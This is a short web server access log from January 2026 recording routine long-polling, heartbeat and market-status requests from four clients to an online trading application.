[09/Jan/2026:09:50:41 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923710048 HTTP/1.1" -
[09/Jan/2026:09:50:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923713654 HTTP/1.1" -
[09/Jan/2026:09:50:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923712287 HTTP/1.1" -
[09/Jan/2026:09:50:43 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923727391 HTTP/1.1" -
[09/Jan/2026:09:50:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:50:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:50:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923718807 HTTP/1.1" -
[09/Jan/2026:09:50:47 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923716054 HTTP/1.1" -
[09/Jan/2026:09:50:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923717332 HTTP/1.1" -
[09/Jan/2026:09:50:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923732444 HTTP/1.1" -
[09/Jan/2026:09:50:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:50:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:50:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:50:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:50:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:50:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:50:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923723948 HTTP/1.1" -
[09/Jan/2026:09:50:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923722346 HTTP/1.1" -
[09/Jan/2026:09:50:53 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923722056 HTTP/1.1" -
[09/Jan/2026:09:50:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923737507 HTTP/1.1" -
[09/Jan/2026:09:50:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923729095 HTTP/1.1" -
[09/Jan/2026:09:50:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923727369 HTTP/1.1" -
[09/Jan/2026:09:50:58 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923742533 HTTP/1.1" -
[09/Jan/2026:09:50:59 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923728055 HTTP/1.1" -
[09/Jan/2026:09:51:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:51:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:51:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:51:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:51:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923734248 HTTP/1.1" -
[09/Jan/2026:09:51:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923732414 HTTP/1.1" -
[09/Jan/2026:09:51:03 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923747573 HTTP/1.1" -
[09/Jan/2026:09:51:05 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923734046 HTTP/1.1" -
[09/Jan/2026:09:51:07 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923739309 HTTP/1.1" -
[09/Jan/2026:09:51:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923737440 HTTP/1.1" -
[09/Jan/2026:09:51:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923752649 HTTP/1.1" -
[09/Jan/2026:09:51:11 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923740057 HTTP/1.1" -
[09/Jan/2026:09:51:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923744488 HTTP/1.1" -
[09/Jan/2026:09:51:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923742466 HTTP/1.1" -
[09/Jan/2026:09:51:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923757717 HTTP/1.1" -
[09/Jan/2026:09:51:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:51:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:51:17 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923746055 HTTP/1.1" -
[09/Jan/2026:09:51:18 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923749639 HTTP/1.1" -
[09/Jan/2026:09:51:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923747495 HTTP/1.1" -
[09/Jan/2026:09:51:19 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923762781 HTTP/1.1" -
[09/Jan/2026:09:51:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:51:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:51:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:51:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:51:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:51:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:51:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923754810 HTTP/1.1" -
[09/Jan/2026:09:51:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923752518 HTTP/1.1" -
[09/Jan/2026:09:51:23 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923752047 HTTP/1.1" -
[09/Jan/2026:09:51:24 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923767801 HTTP/1.1" -
[09/Jan/2026:09:51:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923759959 HTTP/1.1" -
[09/Jan/2026:09:51:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923757535 HTTP/1.1" -
[09/Jan/2026:09:51:29 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923772822 HTTP/1.1" -
[09/Jan/2026:09:51:29 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923758052 HTTP/1.1" -
[09/Jan/2026:09:51:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:51:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:51:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:51:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:51:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:51:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:51:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:51:30 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:51:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923765085 HTTP/1.1" -
[09/Jan/2026:09:51:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923762569 HTTP/1.1" -
[09/Jan/2026:09:51:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923777850 HTTP/1.1" -
[09/Jan/2026:09:51:35 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923764062 HTTP/1.1" -
[09/Jan/2026:09:51:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923767600 HTTP/1.1" -
[09/Jan/2026:09:51:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923770149 HTTP/1.1" -
[09/Jan/2026:09:51:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923782878 HTTP/1.1" -
[09/Jan/2026:09:51:41 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923770048 HTTP/1.1" -
[09/Jan/2026:09:51:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923772622 HTTP/1.1" -
[09/Jan/2026:09:51:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923775283 HTTP/1.1" -
[09/Jan/2026:09:51:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923787949 HTTP/1.1" -
[09/Jan/2026:09:51:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:51:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:51:47 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923776047 HTTP/1.1" -
[09/Jan/2026:09:51:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923777668 HTTP/1.1" -
[09/Jan/2026:09:51:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923780422 HTTP/1.1" -
[09/Jan/2026:09:51:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923793009 HTTP/1.1" -
[09/Jan/2026:09:51:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:51:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:51:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:51:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:51:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:51:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:51:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923782688 HTTP/1.1" -
[09/Jan/2026:09:51:53 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923782059 HTTP/1.1" -
[09/Jan/2026:09:51:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767923785602 HTTP/1.1" -
